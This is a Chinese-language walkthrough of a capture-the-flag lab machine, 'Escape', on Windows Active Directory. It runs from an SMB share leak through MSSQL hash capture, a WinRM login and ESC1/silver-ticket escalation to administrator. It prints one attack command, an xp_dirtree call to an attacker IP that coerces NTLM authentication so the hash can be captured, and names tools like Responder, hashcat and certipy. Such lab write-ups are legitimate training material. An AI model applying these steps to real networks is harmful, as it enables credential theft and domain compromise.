Escape 是一台中等难度的 Windows Active Directory 计算机,它以 SMB 共享开始,经过来宾身份验证的用户可以下载敏感的 PDF 文件。在PDF文件中,临时凭据可用于访问计算机上运行的MSSQL服务。攻击者能够强制 MSSQL 服务向他的计算机进行身份验证并捕获哈希值。事实证明,该服务在用户帐户下运行,并且哈希值是可破解的。拥有一组有效的凭据,攻击者能够使用 WinRM 在计算机上执行命令。枚举计算机时,日志文件会显示用户“ryan.cooper”的凭据。进一步枚举计算机,显示存在证书颁发机构,并且一个证书模板容易受到 ESC1 攻击,这意味着可清晰地使用此模板的用户可以为域中的任何其他用户(包括域管理员)请求证书。因此,通过利用 ESC1 漏洞,攻击者能够获取管理员帐户的有效证书,然后使用它来获取管理员用户的哈希值。
循例nmap
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-28 15:19:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
smbmap 看一下有个share可读
有一个pdf
下下来
里面给了一组凭据,它应该是用于mssql的
这组凭据我们能够使用mssqlclient
无权执行xp_cmdshell
通过对攻击机托管的恶意smb服务发起身份认证来获取hash
exec master.dbo.xp_dirtree "\\10.10.14.18\hack"
查看responder
hashcat直接爆
尝试登evil-winrm
在这里发现一个log
在里面可以看到一个明文密码
登winrm成功
经典SeMachineAccountPrivilege
我使用certipy发现了存在ESC1,ESC1打很多遍了,但是我看wp有更好玩的提权路线
现在我们直接伪造tgs(银票),因为前面我们已经拿到了sql_svc的明文密码了,那个是mssql服务账户
现在我们就可以为administrator伪造银票,常规操作
注意,我们不要忽略了PAC的存在,我们当前是无法伪造PAC的,因为我们没有krbtgt hash,所以这里能打成功是因为mssql服务不去找KDC验证PAC吧
我们还需要设置ntpdate,否则我们将因为来自不受信任的域而登录失败
设置KRB5CCNAME,然后登mssqlclient
mssql模拟administrator,通过administrator的权限,我们可以读到root flag